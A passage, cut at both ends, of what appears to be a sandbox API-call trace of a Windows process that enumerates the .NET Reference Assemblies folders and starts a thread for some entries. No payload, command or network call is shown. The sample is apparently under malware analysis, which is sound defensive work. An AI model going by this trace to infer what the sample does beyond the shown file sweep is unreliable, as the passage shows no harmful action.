out: lpFindFileData=0x488000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x994463ad, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x994463ad, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5b72321f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Classic.dll", cAlternateFileName="")) returned 1 [0048.838] wcscmp (_String1="PresentationFramework.Classic.dll", _String2=".") returned 1 [0048.838] wcscmp (_String1="PresentationFramework.Classic.dll", _String2="..") returned 1 [0048.838] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa981eb4a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa981eb4a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa98b70cb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x46c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.dll", cAlternateFileName="")) returned 1 [0048.838] wcscmp (_String1="PresentationFramework.dll", _String2=".") returned 1 [0048.838] wcscmp (_String1="PresentationFramework.dll", _String2="..") returned 1 [0048.838] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99e17da7, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x99e17da7, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5b807a53, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Luna.dll", cAlternateFileName="")) returned 1 [0048.838] wcscmp (_String1="PresentationFramework.Luna.dll", _String2=".") returned 1 [0048.838] wcscmp (_String1="PresentationFramework.Luna.dll", _String2="..") returned 1 [0048.838] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99efc5d5, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x99efc5d5, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5cc8f6ff, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Royale.dll", cAlternateFileName="")) returned 1 [0048.838] wcscmp (_String1="PresentationFramework.Royale.dll", _String2=".") returned 1 [0048.838] wcscmp (_String1="PresentationFramework.Royale.dll", _String2="..") returned 1 [0048.838] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa973a308, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa973a308, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9760469, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x82000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReachFramework.dll", cAlternateFileName="")) returned 1 [0048.838] wcscmp (_String1="ReachFramework.dll", _String2=".") returned 1 [0048.838] wcscmp (_String1="ReachFramework.dll", _String2="..") returned 1 [0048.838] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1 [0048.838] wcscmp (_String1="RedistList", _String2=".") returned 1 [0048.838] wcscmp (_String1="RedistList", _String2="..") returned 1 [0048.838] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x44d708 [0048.838] wcscpy (in: _Dest=0x44d708, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0" [0048.838] wcscat (in: _Dest=0x44d708, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\" [0048.838] wcscat (in: _Dest=0x44d708, _Source="RedistList" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" [0049.518] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44d708, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418 [0049.519] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9d79cd4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9d79cd4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9d9fe34, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x62000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0049.519] wcscmp (_String1="System.IdentityModel.dll", _String2=".") returned 1 [0049.519] wcscmp (_String1="System.IdentityModel.dll", _String2="..") returned 1 [0049.520] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaae31b18, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0xaae31b18, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x53cd8e4b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.Selectors.dll", cAlternateFileName="")) returned 1 [0049.520] wcscmp (_String1="System.IdentityModel.Selectors.dll", _String2=".") returned 1 [0049.520] wcscmp (_String1="System.IdentityModel.Selectors.dll", _String2="..") returned 1 [0049.520] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaaef01e9, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0xaaef01e9, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x53d25107, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IO.Log.dll", cAlternateFileName="")) returned 1 [0049.520] wcscmp (_String1="System.IO.Log.dll", _String2=".") returned 1 [0049.520] wcscmp (_String1="System.IO.Log.dll", _String2="..") returned 1 [0049.520] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa98b70cb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa98b70cb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa98b70cb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x57a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Printing.dll", cAlternateFileName="")) returned 1 [0049.520] wcscmp (_String1="System.Printing.dll", _String2=".") returned 1 [0049.520] wcscmp (_String1="System.Printing.dll", _String2="..") returned 1 [0049.520] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9ce1753, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9ce1753, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9d078b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xcf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Serialization.dll", cAlternateFileName="")) returned 1 [0049.520] wcscmp (_String1="System.Runtime.Serialization.dll", _String2=".") returned 1 [0049.520] wcscmp (_String1="System.Runtime.Serialization.dll", _String2="..") returned 1 [0049.520] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9bfcf11, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9bfcf11, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9c6f332, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x515000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.dll", cAlternateFileName="")) returned 1 [0049.520] wcscmp (_String1="System.ServiceModel.dll", _String2=".") returned 1 [0049.520] wcscmp (_String1="System.ServiceModel.dll", _String2="..") returned 1 [0049.520] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a53bf17, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a53bf17, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5cf16e3d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Speech.dll", cAlternateFileName="")) returned 1 [0049.520] wcscmp (_String1="System.Speech.dll", _String2=".") returned 1 [0049.520] wcscmp (_String1="System.Speech.dll", _String2="..") returned 1 [0049.520] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9655ac7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9655ac7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa967bc27, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x103000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Activities.dll", cAlternateFileName="")) returned 1 [0049.520] wcscmp (_String1="System.Workflow.Activities.dll", _String2=".") returned 1 [0049.520] wcscmp (_String1="System.Workflow.Activities.dll", _String2="..") returned 1 [0049.520] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9609806, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9609806, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa962f966, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x173000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.ComponentModel.dll", cAlternateFileName="")) returned 1 [0049.520] wcscmp (_String1="System.Workflow.ComponentModel.dll", _String2=".") returned 1 [0049.520] wcscmp (_String1="System.Workflow.ComponentModel.dll", _String2="..") returned 1 [0049.520] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa96a1d87, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa96a1d87, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa96c7ee8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Runtime.dll", cAlternateFileName="")) returned 1 [0049.521] wcscmp (_String1="System.Workflow.Runtime.dll", _String2=".") returned 1 [0049.521] wcscmp (_String1="System.Workflow.Runtime.dll", _String2="..") returned 1 [0049.521] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a72b0d0, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a72b0d0, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5cfaf3b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x2a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClient.dll", cAlternateFileName="")) returned 1 [0049.521] wcscmp (_String1="UIAutomationClient.dll", _String2=".") returned 1 [0049.521] wcscmp (_String1="UIAutomationClient.dll", _String2="..") returned 1 [0049.521] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a8f412c, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a8f412c, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d04792d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClientsideProviders.dll", cAlternateFileName="")) returned 1 [0049.521] wcscmp (_String1="UIAutomationClientsideProviders.dll", _String2=".") returned 1 [0049.521] wcscmp (_String1="UIAutomationClientsideProviders.dll", _String2="..") returned 1 [0049.521] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a98c6a0, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9a98c6a0, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d106003, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationProvider.dll", cAlternateFileName="")) returned 1 [0049.521] wcscmp (_String1="UIAutomationProvider.dll", _String2=".") returned 1 [0049.521] wcscmp (_String1="UIAutomationProvider.dll", _String2="..") returned 1 [0049.521] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aa4ad71, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9aa4ad71, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d17841d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationTypes.dll", cAlternateFileName="")) returned 1 [0049.521] wcscmp (_String1="UIAutomationTypes.dll", _String2=".") returned 1 [0049.521] wcscmp (_String1="UIAutomationTypes.dll", _String2="..") returned 1 [0049.521] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa97d2889, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa97d2889, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa97f89ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x110000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsBase.dll", cAlternateFileName="")) returned 1 [0049.521] wcscmp (_String1="WindowsBase.dll", _String2=".") returned 1 [0049.521] wcscmp (_String1="WindowsBase.dll", _String2="..") returned 1 [0049.521] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9acf85fb, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9acf85fb, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d2a8f0d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsFormsIntegration.dll", cAlternateFileName="")) returned 1 [0049.521] wcscmp (_String1="WindowsFormsIntegration.dll", _String2=".") returned 1 [0049.521] wcscmp (_String1="WindowsFormsIntegration.dll", _String2="..") returned 1 [0049.521] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803d8e97, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="WINFXL~1.XML")) returned 1 [0049.521] wcscmp (_String1="WinFXList.xml", _String2=".") returned 1 [0049.521] wcscmp (_String1="WinFXList.xml", _String2="..") returned 1 [0049.521] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x44e6c0 [0049.521] wcscpy (in: _Dest=0x44e6c0, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0" [0049.521] wcscat (in: _Dest=0x44e6c0, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\" [0049.522] wcscat (in: _Dest=0x44e6c0, _Source="WinFXList.xml" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" [0049.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x44e6c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac0 [0049.523] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x488000 | out: lpFindFileData=0x488000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803d8e97, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="WINFXL~1.XML")) returned 0 [0049.523] FindClose (in: hFindFile=0x409fa8 | out: hFindFile=0x409fa8) returned 1 [0049.524] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x488000) returned 1 [0049.524] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x416c00) returned 1 [0049.524] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x447078) returned 1 Thread: id = 360 os_tid = 0xc84 [0048.646] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x416c90 [0048.646] wcscpy (in: _Dest=0x416c90, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5" [0048.646] wcscat (in: _Dest=0x416c90, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\" [0048.646] wcscat (in: _Dest=0x416c90, _Source="*" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*" [0048.646] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x488268 [0048.646] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409aa8 [0048.839] wcscmp (_String1=".", _String2=".") returned 0 [0048.839] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.178] wcscmp (_String1="..", _String2=".") returned 1 [0049.178] wcscmp (_String1="..", _String2="..") returned 0 [0049.178] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1efbd239, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x1efbd239, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5ce0c4ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v3.5.dll", cAlternateFileName="")) returned 1 [0049.178] wcscmp (_String1="Microsoft.Build.Conversion.v3.5.dll", _String2=".") returned 1 [0049.179] wcscmp (_String1="Microsoft.Build.Conversion.v3.5.dll", _String2="..") returned 1 [0049.179] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xade574cb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xade574cb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xadfae12e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Engine.dll", cAlternateFileName="")) returned 1 [0049.179] wcscmp (_String1="Microsoft.Build.Engine.dll", _String2=".") returned 1 [0049.179] wcscmp (_String1="Microsoft.Build.Engine.dll", _String2="..") returned 1 [0049.179] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f2b6d7d, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x1f2b6d7d, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5cf16e3d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Framework.dll", cAlternateFileName="")) returned 1 [0049.179] wcscmp (_String1="Microsoft.Build.Framework.dll", _String2=".") returned 1 [0049.179] wcscmp (_String1="Microsoft.Build.Framework.dll", _String2="..") returned 1 [0049.179] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad64ea7d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad64ea7d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad674bdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Utilities.v3.5.dll", cAlternateFileName="")) returned 1 [0049.179] wcscmp (_String1="Microsoft.Build.Utilities.v3.5.dll", _String2=".") returned 1 [0049.179] wcscmp (_String1="Microsoft.Build.Utilities.v3.5.dll", _String2="..") returned 1 [0049.179] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f40d9c2, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x1f40d9c2, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5cffb671, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualC.STLCLR.dll", cAlternateFileName="")) returned 1 [0049.179] wcscmp (_String1="Microsoft.VisualC.STLCLR.dll", _String2=".") returned 1 [0049.179] wcscmp (_String1="Microsoft.VisualC.STLCLR.dll", _String2="..") returned 1 [0049.179] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x488268 | out: lpFindFileData=0x488268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1 [0049.179] wcscmp (_String1="RedistList", _String2=".") returned 1 [0049.179] wcscmp (_String1="RedistList", _String2="..") returned 1 [0049.179] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x44cfc8 [0049.179] wcscpy (in: _Dest=0x44cfc8, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5" [0049.179] wcscat (in: _Dest=0x44cfc8, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\" [0049.179] wcscat (in: _Dest=0x44cfc8, _Source="RedistList" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" [0049.395] CreateThread (in: lpThreadAttributes=0x0, 